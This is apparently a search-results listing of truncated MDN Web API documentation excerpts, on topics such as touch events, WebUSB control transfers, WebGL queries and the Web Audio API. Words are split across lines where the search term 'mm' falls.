mment touch events – level 2 draft non-stable version. touch events reco
mmendation initial definition. ...
TouchEvent.changedTouches - Web APIs
...
...at changed // since the last event and print each touch point's identifier. for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status co
mment touch events – level 2 draft non-stable version. touch events reco
mmendation initial definition. ...
TrackEvent - Web APIs
...
...red on, then outputs to console a message indicating what kind of track it is and whether it's being added to or removed from the element. specifications specification status co
mment html living standardthe definition of 'trackevent' in that specification. living standard initial definition. html5the definition of 'trackevent' in that specification. reco
mmendation initial definition. ...
TreeWalker - Web APIs
ful only when creating a treewalker with an attr node as its root. in this case, it means that the attribute node will appear in the first position of the iteration or traversal. since attributes are never children of other nodes, they do not appear when traversing over the document tree. nodefilter.show_cdata_section 8 shows cdatasection nodes. nodefilter.show_co
mment 128 shows co
mment nodes. nodefilter.show_document 256 shows document nodes. nodefilter.show_document_fragment 1024 shows documentfragment nodes. nodefilter.show_document_type 512 shows documenttype nodes. nodefilter.show_element 1 shows element nodes. nodefilter.show_entity 32 shows en...
...at the root node defined at the object construction, returns null and the current node is not changed. treewalker.nextnode() moves the current node to the next visible node in the document order, and returns the found node. it also moves the current node to this one. if no such node exists, returns null and the current node is not changed. specifications specification status co
mment domthe definition of 'treewalker' in that specification. living standard removed the expandentityreferences property. document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker' in that specification. obsolete initial definition. ...
ULongRange - Web APIs
gers, specifying the largest permissible value of the property it describes. ...
... of signed 32-bit integers, specifying the smallest permissible value of the property it describes. ...
USBDevice.controlTransferIn() - Web APIs
the controltransferin() method of the usbdevice interface returns a promise that resolves with a usbintransferresult when the result of a co
mmand or status request has been received from the usb device. syntax var promise = usbdevice.controltransferin(setup, length) parameters setup an object that sets options for . the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (co
mmon to all usb devices) "class" (co
mmon to an industry-standard class of devices) or "vendor". recipient: specifices the target of the transfer on the device, one of "device", "interface", "endpoint", or "other". request: a vendor-specific co
mmand. value: vender-specific request parameters. index: the interface number of the recipient. l...
...r "other". request: a vendor-specific co
mmand. value: vender-specific request parameters. index: the interface number of the recipient. length the maximum number of bytes to read from the device. the actual data is in the usbintransferresult in the resolved promise. return value promise that resolves with a usbintransferresult. specifications specification status co
mment webusbthe definition of 'controltransferin()' in that specification. draft initial definition. ...
USBDevice.controlTransferOut() - Web APIs
the controltransferout() method of the usbdevice interface returns a promise that resolves with a usbouttransferresult when a co
mmand or status operation has been transmitted to the usb device. syntax var promise = usbdevice.controltransferout(setup, data) parameters setup an object that sets options for . the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (co
mmon to all usb devices) "class" (co
mmon to an industry-standard class of devices) or "vendor". recipient: specifices the target of the transfer on the device, one of "device", "interface", "endpoint", or "other". request: a vendor-specific co
mmand. value: vender-specific request parameters. index: the interface number of the recipient. data a type...
... to an industry-standard class of devices) or "vendor". recipient: specifices the target of the transfer on the device, one of "device", "interface", "endpoint", or "other". request: a vendor-specific co
mmand. value: vender-specific request parameters. index: the interface number of the recipient. data a typedarray containing the data that will be transfered to the device. not all co
mmands require data; some co
mmands can send data just through the value parameter. check with your device to see what the specific request requires. return value a promise that resolves with a usbouttransferresult. specifications specification status co
mment webusbthe definition of 'controltransferout()' in that specification. draft initial definition. ...
USBDevice - Web APIs
. usbdevice.vendorid read only the official usg.org-assigned vendor id. methods usbdevice.claiminterface() returns a promise that resolves when the requested interface is claimed for exclusive access. usbdevice.clearhalt() returns a promise that resolves when a halt condition is cleared. usbdevice.controltransferin() returns a promise that resolves with a usbtransferinresult when a co
mmand or status operation has been transmitted to the usb device. usbdevice.controltransferout() returns a promise that resolves with a usbtransferoutresult when a co
mmand or status operation has been transmitted from the usb device. usbdevice.close() returns a promise that resolves when all open interfaces are released and the device session has ended. usbdevice.isochronoustransferin() return...
...at resolves when the specified configuration is selected. usbdevice.transferin() returns a promise that resolves with a usbtransferinresult when bulk or interrupt data is received from the usb device. usbdevice.transferout() returns a promise that resolves with a usbtransferoutresult when bulk or interrupt data is sent to the usb device. specifications specification status co
mment webusbthe definition of 'usbdevice' in that specification. draft initial definition. ...
WakeLock - Web APIs
the system wake lock is exposed through the global navigator.wakelock property. methods request requests a wakelocksentinel object, which returns a promise that resolves with a wakelocksentinel object. examples the following asynchronous function requests a wakelocksentinel object. the wakelock.request method is wrapped in a try...catch statement to account for if the browser refuses the request for any reason. ...
... for if the browser refuses the request for any reason. const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status co
mment screen wake lock apithe definition of 'wakelock' in that specification. unknown initial definition. ...
WakeLockSentinel.type - Web APIs
the read-only type property of the wakelocksentinel interface returns a string representation of the currently acquired wakelocksentinel type. syntax var type = wakelocksentinel.type; value a string representation of the currently acquired wake lock type. type read only return values are: 'screen': a screen wake lock. prevents devices from di
mming or locking the screen. ...
...ts devices from di
mming or locking the screen. examples this example shows an asynchronous function that acquires a wakelocksentinel, then logs the type to the console. const requestwakelock = async () => { wakelock = await navigator.wakelock.request('screen'); console.log(wakelock.type); // logs 'screen' }; requestwakelock(); specifications specification status co
mment screen wake lock apithe definition of 'wakelocktype' in that specification. unknown initial definition. ...
WakeLockSentinel - Web APIs
r turns on a power save mode. releasing all wakelocksentinel instances of a given wake lock type will cause the underlying platform wake lock to be released. properties this interface provides the following properties. type read only returns a string representation of the currently acquired wakelocksentinel type. return values are: 'screen': a screen wake lock. prevents devices from di
mming or locking the screen. event handlers onrelease fired when the release() method is called or the wake lock is released by the user agent. methods release() releases the wakelocksentinel, returning a promise that is resolved once the sentinel has been successfully released. examples in this example we create an asynchronous function which requests a wakelocksentinel. once acq...
... unknown initial definition. ...
WaveShaperNode.curve - Web APIs
audiocontext(); var distortion = audioctx.createwaveshaper(); distortion.curve = mycurvedataarray; // mycurvedataarray is a float32array value a float32array. example the following example shows basic usage of an audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are co
mmonly used for distortion curves because of their natural properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ... function makedistortioncurve(amount) { var k = typeof amount === 'numb...
... working draft ...
WaveShaperNode.oversample - Web APIs
ping curve. syntax distortion.oversample = enumeratedvalue; values distortion is a waveshapernode. enumeratedvalue is one of 'none', '2x', or '4x'. example the following example shows basic usage of an audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are co
mmonly used for distortion curves because of their natural properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ... function makedistortioncurve(amount) { var k = typeof amount === 'numb...
... working draft ...
WaveShaperNode - Web APIs
more samples (up-sampling) before applying the distortion effect to the audio signal. methods no specific method; inherits methods from its parent, audionode. example the following example shows basic usage of an audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are co
mmonly used for distortion curves because of their natural properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ... function makedistortioncurve(amount) { var k = typeof amount === 'numb...
... working draft ...
WebGL2RenderingContext.beginQuery() - Web APIs
xt.beginquery() method of the webgl 2 api starts an asynchronous query. the target parameter indicates which kind of query to begin. syntax void gl.beginquery(target, query); parameters target a glenum specifying the target of the query. possible values: gl.any_samples_passed: specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing co
mmands pass the depth test and if so, how many samples pass). gl.any_samples_passed_conservative: same as above above, but less accurate and faster version. gl.transform_feedback_primitives_written: number of primitives that are written to transform feedback buffers. query a webglquery object for which to start the querying. return value none. examples var query = gl.createquery(); gl...
...bove above, but less accurate and faster version. gl.transform_feedback_primitives_written: number of primitives that are written to transform feedback buffers. query a webglquery object for which to start the querying. return value none. examples var query = gl.createquery(); gl.beginquery(gl.any_samples_passed, query); // ... specifications specification status co
mment webgl 2.0the definition of 'beginquery' in that specification. editor's draft initial definition. opengl es 3.0the definition of 'glbeginquery' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.clientWaitSync() - Web APIs
e webgl2renderingcontext.clientwaitsync() method of the webgl 2 api blocks and waits for a webglsync object to become signaled or a given timeout to be passed. syntax glenum gl.clientwaitsync(sync, flags, timeout); parameters sync a webglsync object on which to wait on. flags a glbitfield specifying a bitwise combination of flags controlling the flushing behavior. may be gl.sync_flush_co
mmands_bit. timeout a glint64 specifying a timeout (in nanoseconds) for which to wait for the sync object to become signaled. must not be larger than gl.max_client_wait_timeout_webgl. return value a glenum indicating the sync object's status. gl.already_signaled: indicates that the sync object was signaled when this method was called. gl.timeout_expired: indicates that the timeout time pass...
...dicates that the sync object was signaled when this method was called. gl.timeout_expired: indicates that the timeout time passed and that the sync object did not become signaled. gl.condition_satisfied: indicates that the sync object was signaled before the timeout expired. gl.wait_failed: indicates that an error occurred during the execution. examples var sync = gl.fencesync(gl.sync_gpu_co
mmands_complete, 0); var status = gl.clientwaitsync(sync, 0, 0); specifications specification status co
mment webgl 2.0the definition of 'clientwaitsync' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'glclientwaitsync' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.endQuery() - Web APIs
the webgl2renderingcontext.endquery() method of the webgl 2 api marks the end of a given query target. syntax void gl.endquery(target); parameters target a glenum specifying the target of the query. possible values: gl.any_samples_passed: specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing co
mmands pass the depth test and if so, how many samples pass). gl.any_samples_passed_conservative: same as above above, but less accurate and faster version. gl.transform_feedback_primitives_written: number of primitives that are written to transform feedback buffers. return value none. examples var query = gl.createquery(); gl.beginquery(gl.any_samples_passed, query); // ... gl.endquery(gl.any_samples_passed); ...
..._conservative: same as above above, but less accurate and faster version. gl.transform_feedback_primitives_written: number of primitives that are written to transform feedback buffers. return value none. examples var query = gl.createquery(); gl.beginquery(gl.any_samples_passed, query); // ... gl.endquery(gl.any_samples_passed); specifications specification status co
mment webgl 2.0the definition of 'endquery' in that specification. editor's draft initial definition. opengl es 3.0the definition of 'glendquery' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.getQuery() - Web APIs
the webgl2renderingcontext.getquery() method of the webgl 2 api returns the currently active webglquery for the target, or null. syntax webglquery gl.getquery(target, pname); parameters target a glenum specifying the target of the query. possible values: gl.any_samples_passed: specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing co
mmands pass the depth test and if so, how many samples pass). gl.any_samples_passed_conservative: same as above above, but less accurate and faster version. gl.transform_feedback_primitives_written: number of primitives that are written to transform feedback buffers. pname a glenum specifying the query object target. must be gl.current_query. return value a webglquery object. examples ...
...curate and faster version. gl.transform_feedback_primitives_written: number of primitives that are written to transform feedback buffers. pname a glenum specifying the query object target. must be gl.current_query. return value a webglquery object. examples var currentquery = gl.getquery(gl.any_samples_passed, gl.current_query); specifications specification status co
mment webgl 2.0the definition of 'getquery' in that specification. editor's draft initial definition. opengl es 3.0the definition of 'glgetqueryiv' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.waitSync() - Web APIs
the webgl2renderingcontext.waitsync() method of the webgl 2 api returns i
mmediately, but waits on the gl server until the given webglsync object is signaled. the method is a no-op in the absence of the possibility of synchronizing between multiple gl contexts. syntax void gl.waitsync(sync, flags, timeout); parameters sync a webglsync object on which to wait on. flags a glbitfield specifying a bitwise combination of flags controlling the flushing behavior. must be 0 (exists for extensions only). timeout a glint64 specifying a timeout the server should wait before continuing. must be gl.timeout_ignored. return value none. ...
... flags, timeout); parameters sync a webglsync object on which to wait on. flags a glbitfield specifying a bitwise combination of flags controlling the flushing behavior. must be 0 (exists for extensions only). timeout a glint64 specifying a timeout the server should wait before continuing. must be gl.timeout_ignored. return value none. examples var sync = gl.fencesync(gl.sync_gpu_co
mmands_complete, 0); gl.waitsync(sync, 0, gl.timeout_ignored); specifications specification status co
mment webgl 2.0the definition of 'waitsync' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'glwaitsync' in that specification. standard man page of the (similar) opengl api. ...
WebGLActiveInfo.name - Web APIs
...
...quested data returned by calling the getactiveattrib() or getactiveuniform() methods. examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.name; var activeuniform = gl.getactiveuniform(program, index); activeuniform.name; specifications specification status co
mment webgl 1.0the definition of 'webglactiveinfo.name' in that specification. reco
mmendation initial definition. ...
WebGLRenderingContext.getTexParameter() - Web APIs
_base_level glint texture mipmap level any int values. gl.texture_compare_func glenum comparison function gl.lequal (default value), gl.gequal, gl.less, gl.greater, gl.equal, gl.notequal, gl.always, gl.never. gl.texture_compare_mode glenum texture comparison mode gl.none (default value), gl.compare_ref_to_texture. gl.texture_i
mmutable_format glboolean i
mmutability of the texture format and size true or false. gl.texture_i
mmutable_levels gluint ? any uint values. gl.texture_max_level glint maximum texture mipmap array level any int values. gl.texture_max_lod glfloat texture maximum level-of-detail value any float values. gl.tex...
...exture_wrap_r glenum wrapping function for texture coordinate r gl.repeat (default value), gl.clamp_to_edge, gl.mirrored_repeat. return value returns the requested texture information (as specified with pname). if an error occurs, null is returned. examples gl.gettexparameter(gl.texture_2d, gl.texture_mag_filter); specifications specification status co
mment webgl 1.0the definition of 'gettexparameter' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glgettexparameter' in that specification. standard man page of the (similar) opengl es 2.0 api. webgl 2.0the definition of 'gettexparameter' in that specification. editor's draft updated definition for webg...
WebGLRenderingContext.getUniform() - Web APIs
opengl es 2.0the definition of 'glgetuniform' in that specification. standard man page of the (similar) opengl es 2 api. webgl 2.0the definition of 'getuniform' in that specification. editor's draft updated definition for webgl. openg...
...ray (with 12 elements) mat4x2 float32array (with 8 elements) mat4x3 float32array (with 12 elements) any sampler type glint examples var loc = gl.getuniformlocation(program, 'u_foobar'); gl.getuniform(program, loc); specifications specification status co
mment webgl 1.0the definition of 'getuniform' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glgetuniform' in that specification. standard man page of the (similar) opengl es 2 api. webgl 2.0the definition of 'getuniform' in that specification. editor's draft updated definition for webgl. opengl es 3.0the definition of 'glgetuniform' in that specification. standard man pa...
WebGLRenderingContext.getUniformLocation() - Web APIs
of the other uniform access methods, passing in the uniform location as one of the inputs: getuniform() returns the value of the uniform at the given location. uniform[1234][fi][v]() sets the uniform's value to the specified value, which may be a single floating point or integer number, or a 2-4 component vector specified either as a list of values or as a float32array or int32array. unifor
mmatrix[234][fv]() sets the uniform's value to the specified matrix, possibly with transposition. the value is represented as a sequence of glfloat values or as a float32array. the uniform itself is declared in the shader program using glsl. syntax webgluniformlocation = webglrenderingcontext.getuniformlocation(program, name); parameters program the webglprogram in which to locate the spe...
...o the color [0.1, 0.7, 0.2, 1.0], the components in this 4-component vector represent the values of red, green, blue, and alpha, respectively. having done this, the next time the shading functions are called, their own variables named uscalingfactor, uglobalcolor, and urotationvector will all have the values provided by the javascript code. specifications specification status co
mment webgl 1.0the definition of 'getuniformlocation' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glgetuniformlocation' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.isEnabled() - Web APIs
at are outside of the scissor rectangle. see webglrenderingcontext.scissor(). gl.stencil_test stencil testing and updates to the stencil buffer. see webglrenderingcontext.stencilfunc(). when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded i
mmediately before the rasterization stage, but after the optional transform feedback stage. gl.clear() co
mmands are ignored. return value a glboolean indicating if the capability cap is enabled (true), or not (false). examples gl.isenabled(gl.stencil_test); // false to activate or deactivate a specific capability, use the webglrenderingcontext.enable() and webglrenderingcontext.di...
... return value a glboolean indicating if the capability cap is enabled (true), or not (false). examples gl.isenabled(gl.stencil_test); // false to activate or deactivate a specific capability, use the webglrenderingcontext.enable() and webglrenderingcontext.disable() methods: gl.enable(gl.stencil_test); gl.disable(gl.stencil_test); specifications specification status co
mment webgl 1.0the definition of 'isenabled' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glisenabled' in that specification. standard man page of the (similar) opengl es 2.0 api. webgl 2.0the definition of 'isenabled' in that specification. editor's draft updated definition for webgl 2. open...
WebGLRenderingContext.lineWidth() - Web APIs
webglrenderingcontext.linewidth() method of the webgl api sets the line width of rasterized lines. the webgl spec, based on the opengl es 2.0/3.0 specs points out that the minimum and maximum width for a line is implementation defined. the maximum minimum width is allowed to be 1.0. the minimum maximum width is also allowed to be 1.0. because of these implementation defined limits it is not reco
mmended to use line widths other than 1.0 since there is no guarantee any user's browser will display any other width. as of january 2017 most implementations of webgl only support a minimum of 1 and a maximum of 1 as the technology they are based on has these same limits. syntax void gl.linewidth(width); parameters width a glfloat specifying the width of rasterized lines. default value: 1...
...width); parameters width a glfloat specifying the width of rasterized lines. default value: 1. return value none. examples setting the line width: gl.linewidth(5); getting the line width: gl.getparameter(gl.line_width); getting the range of available widths. returns a float32array. gl.getparameter(gl.aliased_line_width_range); specifications specification status co
mment webgl 1.0the definition of 'linewidth' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'gllinewidth' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.linkProgram() - Web APIs
opengl es 2.0the definition of 'gllinkprogram' in that specification. standard man page of the opengl api. ...
...m, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw new error('could not compile webgl program. \n\n' + info); } specifications specification status co
mment webgl 1.0the definition of 'linkprogram' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'gllinkprogram' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.validateProgram() - Web APIs
opengl es 2.0the definition of 'glvalidateprogram' in that specification. standard man page of the opengl api. ...
...entshader); gl.linkprogram(program); gl.validateprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program. \n\n' + info; } gl.useprogram(program); specifications specification status co
mment webgl 1.0the definition of 'validateprogram' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glvalidateprogram' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
opengl es 2.0the definition of 'glvertexattrib' in that specification. standard man page of the opengl api. ...
... opengl es 2.0the definition of 'glvertexattrib' in that specification. standard man page of the opengl api. ...
WebGLSync - Web APIs
editor's draft initial definition. ...
... editor's draft initial definition. ...
Simple color animation - Web APIs
animation with webgl, as well as user interaction. the user can start, stop and restart the animation by clicking the button. this time we put the webgl function calls within a timer event handler. a click event handler additionally enables the basic user interaction of starting and stopping the animation. the timer and the timer handler function establish the animation loop, a set of drawing co
mmands that are executed at a regular period (typically, every frame; in this case, once per second). <p>a simple webgl program that shows color animation.</p> <p>you can click the button below to toggle the color animation on or off.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="animation-onoff"> press here to <strong>[verb goes h...
... button = document.queryselector("#animation-onoff"); var verb = document.queryselector("strong"); function startanimation(evt) { button.removeeventlistener(evt.type, startanimation, false); button.addeventlistener("click", stopanimation, false); verb.innerhtml="stop"; // setup animation loop by redrawing every second. timer = setinterval(drawanimation, 1000); // give i
mmediate feedback to user after clicking, by // drawing one animation frame. drawanimation(); } function stopanimation(evt) { button.removeeventlistener(evt.type, stopanimation, false); button.addeventlistener("click", startanimation, false); verb.innerhtml="start"; // stop animation by clearing the timer. clearinterval(timer); } // call stopanimation() once to se...
Lighting in WebGL - Web APIs
ds a copy from a cdn in our html's <head>. simulating lighting and shading in 3d although going into detail about the theory behind simulated lighting in 3d graphics is far beyond the scope of this article, it's helpful to know a bit about how it works. instead of discussing it in depth here, take a look at the article on phong shading at wikipedia, which provides a good overview of the most co
mmonly used lighting model or if you'd like to see a webgl based explanation see this artcle. there are three basic types of lighting: ambient light is the light that permeates the scene; it's non-directional and affects every face in the scene equally, regardless of which direction it's facing. directional light is light that is emitted from a specific direction. this is light that's coming from...
... finally, we need to update the code that builds the uniform matrices to generate and deliver to the shader a normal matrix, which is used to transform the normals when dealing with the current orientation of the cube in relation to the light source: const normalmatrix = mat4.create(); mat4.invert(normalmatrix, modelviewmatrix); mat4.transpose(normalmatrix, normalmatrix); ... gl.unifor
mmatrix4fv( programinfo.uniformlocations.normalmatrix, false, normalmatrix); update the shaders now that all the data the shaders need is available to them, we need to update the code in the shaders themselves. the vertex shader the first thing to do is update the vertex shader so it generates a shading value for each vertex based on the ambient lighting as well as the directi...
Using textures in WebGL - Web APIs
initialize a texture and load an image. // when the image finished loading copy it into the texture. // function loadtexture(gl, url) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // because images have to be download over the internet // they might take a moment until they are ready. // until then put a single pixel in the texture so we can // use it i
mmediately. when the image has finished downloading // we'll update the texture with the contents of the image. const level = 0; const internalformat = gl.rgba; const width = 1; const height = 1; const border = 0; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; const pixel = new uint8array([0, 0, 255, 255]); // opaque blue gl.teximage2d(gl.texture_2d, level, interna...
... gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); } }; image.src = url; return texture; } function ispowerof2(value) { return (value & (value - 1)) == 0; } the loadtexture() routine starts by creating a webgl texture object texture by calling the webgl createtexture() function. it then uploads a single blue pixel using teximage2d(). this makes the texture i
mmediately usable as a solid blue color even though it may take a few moments for our image to download. to load the texture from the image file, it then creates an image object and assigns the src to the url for our image we wish to use as our texture. the function we assign to image.onload will be called once the image has finished downloading. at that point we again call teximage2d() this time u...
WebKitCSSMatrix - Web APIs
an alias for do
mmatrix. specifications specification status co
mment geometry interfaces module level 1the definition of 'webkitcssmatrix' in that specification. ...
... an alias for do
mmatrix. specifications specification status co
mment geometry interfaces module level 1the definition of 'webkitcssmatrix' in that specification. ...
Writing a WebSocket server in C# - Web APIs
would like to use the websocket api, it is useful if you have a server. in this article i will show you how to write one in c#. you can do it in any server-side language, but to keep things simple and more understandable, i chose microsoft's language. this server conforms to rfc 6455 so it will only handle connections from chrome version 16, firefox 11, ie 10 and over. first steps websockets co
mmunicate over a tcp (transmission control protocol) connection. luckily, c# has a tcplistener class which does as the name suggests. it is in the system.net.sockets namespace. it is a good idea to include the namespace with the using keyword in order to write less. it allows usage of a namespace's classes without typing the full namespace every time. tcplistener constructor: tcplistener(syste...
...both sides of the channel have reading and writing capability. properties: int available this property indicates how many bytes of data have been sent. the value is zero until networkstream.dataavailable is true. networkstream methods: write(byte[] buffer, int offset, int size) writes bytes from buffer, offset and size determine length of message. read(byte[] buf...
WebXR application life cycle - Web APIs
nce you want to provide. make sure the webxr api is available; if navigator.xr is undefined, you can assume the user's browser and/or device doesn't support webxr. if it's not supported, disable any user interface used to activate xr features and abort any attempts to enter xr mode. call navigator.xr.issessionsupported(), specifying the webxr experience mode you want to provide: inline, i
mmersive-vr, or i
mmersive-ar, in order to determine whether or not the type of session you wish to provide is available. if the session type you want to use is available, provide the appropriate interface to the user to allow them to activate it. when the user requests the activation of webxr functionality by engaging with the user interface enabled above, request an xrsession using the des...
...ou want to use is available, provide the appropriate interface to the user to allow them to activate it. when the user requests the activation of webxr functionality by engaging with the user interface enabled above, request an xrsession using the desired mode. this is done by calling navigator.xr.requestsession(), again specifying the string indicating the mode you want to enable: inline, i
mmersive-vr, or i
mmersive-ar. if the promise returned by requestsession() resolves, use the new xrsession to manage the webxr session for the duration of the webxr experience. this will involve managing inputs, animations, and rendering. call the xrsession method requestanimationframe() to schedule the first frame render for the xr device. if your scene is complex, you should consider crea...
Targeting and hit detection - Web APIs
sands of polygons, which makes direct tracing of rays to polygons impractical in most cases. instead, most applications find a way to simplify the implementation of their hit testing algorithms. it's possible—or even likely—that whatever 3d graphics engine you're using offers hit testing, especially if it's designed specifically for game development. simplified representative objects one co
mmon solution is to overlay simplified, invisible objects atop the objects in your scene. these objects then serve a s. for instance, if you have a more-or-less rectangular object, use a rectangle as a surrogate for the object when performing hit testing. likewise, if an object is essentially round, use the radius of the minimum enclosing circle to establish a colision test object. real-world hit t...
...ave a more-or-less rectangular object, use a rectangle as a surrogate for the object when performing hit testing. likewise, if an object is essentially round, use the radius of the minimum enclosing circle to establish a colision test object. real-world hit testing the acronym "lidar" has multiple definitions depending on specifics of how it's implemented, but the end result is the same. most co
mmonly, it refers to "laser imaging, detection, and ranging" or "light detection and ranging"). testing for collisions with the real world is a different problem, which may involve not only interpreting the imagery from the device's camera (if available) but also potentially multiple additional sensors. some devices include infrared sensors to help range objects, and others provide powerful lidar s...
Web Animations API - Web APIs
to get more information on the concepts behind the api and how to use it, read using the web animations api. ...
...ements in the document. ...
Web Audio API best practices - Web APIs
ounds/files there are four main ways to load sound with the web audio api and it can be a little confusing as to which one you should use. when working with files, you are looking at either the grabbing the file from an htmlmediaelement (i.e. an <audio> or <video> element), or you're looking to fetch the file and decode it into a buffer. both are legitimate ways of working, however, it's more co
mmon to use the former when you are working with full-length tracks, and the latter when working with shorter, more sample-like tracks. media elements have streaming support out of the box. the audio will start playing when the browser determines it can load the rest of the file before playing finishes. you can see an example of how to use this with the web audio api in the using the web audio api ...
...ts, and intuitive musical abstractions built on top of the web audio api. r-audio, from the bbc's research & development department, is a library of react components aiming to provide a "more intuitive, declarative interface to web audio". if you're used to writing jsx it might be worth looking at. autoplay policy browsers have started to implement an autoplay policy, which in general can be su
mmed up as: "create or resume context from inside a user gesture". but what does that mean in practice? a user gesture has been interpreted to mean a user-initiated event, normally a click event. browser vendors decided that web audio contexts should not be allowed to automatically play audio; they should instead be started by a user. this is because autoplaying audio can be really annoying and ...
Example and tutorial: Simple synth keyboard - Web APIs
deo keyboard html there are three primary components to the display for our virtual keyboard. the first is the musical keyboard itself. we draw this in a pair of nested <div> elements so that we can make the keyboard horizontally scrollable if all the keys don't fit on the screen, without having them wrap around. the keyboard first, we create space to build the keyboard into. we will be progra
mmatically constructing the keyboard, because doing so gives us the flexibility to configure each key as we determine the appropriate data for the corresponding note. in our case, we get each key's frequency from a table, but it could be calculated algorithmically as well. <div class="container"> <div class="keyboard"></div> </div> the <div> named "container" is the scrollable box that lets the...
...s" name="volume"> <datalist id="volumes"> <option value="0.0" label="mute"> <option value="1.0" label="100%"> </datalist> </div> we specify a default value of 0.5, and we provide a <datalist> element which is connected to the range using the name attribute to find an option list whose id matches; in this case, the data set is named "volume". this lets us provide a set of co
mmon values and special strings which the browser may optionally choose to display in some fashion; we provide names for the values 0.0 ("mute") and 1.0 ("100%"). the waveform picker on the right side of the settings bar, we place a label and a <select> element named "waveform" whose options correspond to the available waveforms. <div class="right"> <span>current waveform: </span> <sele...
Background audio processing using AudioWorklet - Web APIs
channels (keeping in mind that the number of inputs and outputs may differ, and the channel counts on those inputs and outputs may also differ). or you can take all the inputs and perform mixing or other computations that result in a single output being filled with data (or all the outputs being filled with the same data). it's entirely up to you. this is a very powerful tool in your audio progra
mming toolkit. processing multiple inputs let's take a look at an implementation of process() that can process multiple inputs, with each input being used to generate the corresponding output. any excess inputs are ignored. process(inputlist, outputlist, parameters) { const sourcelimit = math.min(inputlist.length, outputlist.length); for (let inputnum = 0; inputnum < sourcelimit; inputnum++)...
...parameter by calling the audioworkletnode's parameters property's get() method: let gainparam = myaudioworkletnode.parameters.get("gain"); the value returned and stored in gainparam is the audioparam used to store the gain parameter. you can then change its value effective at a given time using the audioparam method setvalueattime(). here, for example, we set the value to newvalue, effective i
mmediately. gainparam.setvalueattime(newvalue, audiocontext.currenttime); you can similarly use any of the other methods in the audioparam interface to apply changes over time, to cancel scheduled changes, and so forth. reading the value of a parameter is as simple as looking at its value property: let currentgain = gainparam.value; ...
Using the Web Audio API - Web APIs
y. all of this has stayed intact; we are merely allowing the sound to be available to the web audio api. controlling sound when playing sound on the web, it's important to allow the user to control it. depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right. controlling sound progra
mmatically from javascript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play. these special requirements are in place essentially because unexpected sounds can b...
...nst pannercontrol = document.queryselector('#panner'); pannercontrol.addeventlistener('input', function() { panner.pan.value = this.value; }, false); let's adjust our audio graph again, to connect all the nodes together: track.connect(gainnode).connect(panner).connect(audiocontext.destination); the only thing left to do is give the app a try: check out the final demo here on codepen. su
mmary great! we have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph. this makes up quite a few basics that you would need to start to add audio to your website or web app. there's a lot more functionality to the web audio api, but once you've grasped the concept of nodes and putting your audio graph together, we can mo...
Web audio spatialization basics - Web APIs
e only way to achieve realistic audio. libraries like three.js and a-frame harness its potential when dealing with sound. it's worth noting that you don't have to move sound within a full 3d space either — you could stick with just a 2d plane, so if you were planning a 2d game, this would still be the node you were looking for. note: there's also a stereopannernode designed to deal with the co
mmon use case of creating simple left and right stereo panning effects. this is much simpler to use, but obviously nowhere near as versatile. if you just want a simple stereo panning effect, our stereopannernode example (see source code) should give you everything you need. 3d boombox demo to demonstrate 3d spatialization we've created a modified version of the boombox demo we created in our basi...
